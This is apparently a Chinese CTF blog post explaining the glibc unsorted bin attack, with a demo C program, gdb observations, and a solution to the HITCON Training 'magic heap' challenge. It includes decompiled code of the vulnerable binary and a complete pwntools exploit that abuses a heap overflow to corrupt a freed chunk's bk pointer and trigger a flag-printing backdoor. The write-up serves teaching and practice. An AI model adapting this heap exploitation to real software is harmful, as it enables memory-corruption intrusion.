UnsortedBin Attack

#本文主要根据wiki上的内容和hollk师傅的文章进行学习#

概述:

1.使用unsortedbin attack的前提条件是需要控制unsorted bin中chunk的bk指针

2.unsortedbin attack可以达到的效果是修改任意地址上的值为一个较大的数值(任意地址是因为bk指针已经可以被我们控制了)

回顾:

数据结构:

先回顾一下unsorted bin的数据结构:它是一个双向循环链表。

并且unsorted bin在bins数组中处于下标为1的位置,也就是说unsorted bin只有一个链表,所以在unsorted bin中所有chunk的排列都不是根据size位来的,而是乱序状态。

并且unsorted bin 遵循FIFO原则,先挂进来的chunk处于链表头部,取出chunk时则从链表尾部取出

chunk来源:

(这里直接引用wiki上的内容)

  1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  2. 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
  3. 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

示例:

#这是wiki上的例子,去掉了英文解释,大致流程是一样的#

   #include<stdio.h>
   #include<stdlib.h>
   
   int main()
   {
    unsigned long target_var = 0;
    fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);
    unsigned long *p = malloc(400);
    malloc(500);
    free(p);
    p[1] = (unsigned long)(&target_var - 2);
    malloc(400);
    fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
    return 0;
  }

这个程序模拟了一次unsorted bin attack,先是定义了一个usigned long类型的变量target_var并将其赋值为0,这个target_var 就是我们需要写入unsorted bin地址的地址(前面说到unsorted bin attack就是在任意位置写入一个较大的值)

然后我们申请了一个400字节大小的块并将指针赋给了p,后面这个500字节大小的块是为了防止与top chunk合并。

之后我们释放这个400字节大小的块,按照前面讲到的规则它会被放进unsorted bin当中。

然后我们修改p[1]为target_var - 2,这里说一下为什么要这么做:

由于我们需要向target_var中写入unsorted bin的地址,所以我们需要将这个位置上的内存作为一个chunk挂进unsorted bin当中,而我们知道堆地址上面0x10的位置上才是chunk_head的位置,而在bins的各种链表中,fd和bk指针指向也是指向这个地址,所以我们需要将原400字节的那个堆块的bk指针改为&target_var - 2**(这里的-2是指减去两个地址位宽,也就是2 * 8)**

将这个程序用gcc编译后用gdb调试一下:

先将断点下在第9行,看一下运行结果:
在这里插入图片描述

此时target_var中的值是0,然后将程序运行到第10行,此时400字节的堆块已经被释放了,看一下这个堆块中的内容:

在这里插入图片描述

可以看见已经被挂进unsorted bin中了,并且由于循环链表的特性,fd和bk指针中也已经写入了unsorted bin的地址了。

之后我们将他的bk指针改为我们的target_var-2的位置上,然后再看一下unsorted bin中的内容:

在这里插入图片描述

这里可以看见已经完成了修改并且gdb也提示我们出现了corrupted的情况,按照程序进程我们会将这个400字节的堆块再申请回来,这里由于双向循环链表的特性,我们将一个成员从中解除的话,我们后一个元素的fd指针就会变成unsorted bin的地址(也就是表头的地址),此时我们再去看一下target_var位置上的值:

在这里插入图片描述

可以看见unsorted bin的地址已经被写入进去了,这样我们就完成了对unsorted bin地址的泄露和对目标变量处值的更改。

利用:

前面我们模拟了一次unsorted bin attack,并成功泄露了unsorted bin的真实地址,之后我们就可以根据这个地址来计算main_arena的地址和libc的基地址(这两个地址与unsorted bin的真实地址的距离均为固定值)在前面的题中也有对这种方法的运用。大概也就是这个流程:伪造双向链表,挂fake_chunk,重启fake_chunk(大多数为malloc_hook),写入ROP链或者one_gadget。

例题:

HITCON Training lab14 magic heap

保护检察:

在这里插入图片描述

关闭了PIE和RELRO,可能又能直接利用绝对地址的地方。

静态分析:

main()函数:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 8uLL);
      v3 = atoi(buf);
      if ( v3 != 3 )
        break;
      delete_heap();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )
      {
        if ( (unsigned __int64)magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( v3 == 1 )
    {
      create_heap();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
      edit_heap();
    }
  }
}

显然这是一道菜单题,而且在选择判断中出现了一个很奇怪的选项判断:

if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )
      {
        if ( (unsigned __int64)magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }

这里发现如果选择为4869,程序会进入一个名字为 l33t(); 的函数,进入这个函数看一下:

int l33t()
{
  return system("cat ./flag");
}

发现这是一个后门函数,如果程序满足判断条件就可以直接拿flag,那么回到上面的判断条件中,发现需要*(unsigned __int64)magic*

这个变量大于0x1305时才可以,我们前面说到unsorted binattack可以将任意地址上的数值改为一个巨大的数(即unsorted bin的地址)

那么这里是不是就可以利用unsorted bin attack的攻击手法呢。

create()函数:

unsigned __int64 create_heap()
{
  int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*(&heaparray + i) )
    {
      printf("Size of Heap : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      *(&heaparray + i) = malloc(size);
      if ( !*(&heaparray + i) )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:");
      read_input(*(&heaparray + i), size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

create()函数即对应创建堆块的功

能,非常典型的一个创建流程,没有什么好说的

edit()函数:

unsigned __int64 edit_heap()
{
  int v1; // [rsp+4h] [rbp-1Ch]
  size_t v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    printf("Size of Heap : ");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    printf("Content of heap : ");
    read_input(*(&heaparray + v1), v2);         // 存在堆溢出
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v4;
}

这个就是对于已创建堆块的编辑函数,可以发现在重新输入content内容时,程序允许我们输入的内容大小是有我们来决定的,这里就存在一个非常明显的堆溢出漏洞,那么到这里就满足了unsorted bin attack的几个条件:

  1. 可以控制free chunk的bk
  2. 有明确的需要改变数值的地址

那么思路也非常简单了:

通过堆溢出控制已创建并free掉后的unsorted bin free chunk,控制他的bk指向*(unsigned __int64)magic*这个变量并对其进行修改,由于unsorted bin地址在数值上的大小远大于0x1305,可以满足判断触发后门函数。

EXP:

from pwn import *

context.log_level = 'debug'

io = process("./magicheap")
elf = ELF("./magicheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
magic = 0x06020C0


def create(size,content):
    io.recvuntil("Your choice :")
    io.sendline(b'1')
    io.recvuntil(": ")
    io.sendline(str(size))
    io.recvuntil(":")
    io.sendline(content)
def edit(index,size,content):
    io.recvuntil("Your choice :")
    io.sendline(b'2')
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil(": ")
    io.sendline(str(size))
    io.recvuntil(": ")
    io.sendline(content)
def free(index):
    io.recvuntil("Your choice :")
    io.sendline(b'3')
    io.recvuntil("Index :")
    io.sendline(str(index))

create(0x20,"aaaa")
create(0x90,"bbbb")
create(0x20,"cccc") #防止与top chunk合并

free(1)

payload1 = b'a'*0x20 + p64(0) + p64(0xa1) + p64(0) + p64(magic - 0x10)

edit(0,len(payload1),payload1)

create(0x90,"yms1")

io.recvuntil("Your choice :")
io.sendline(b'4869')

io.interactive()

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值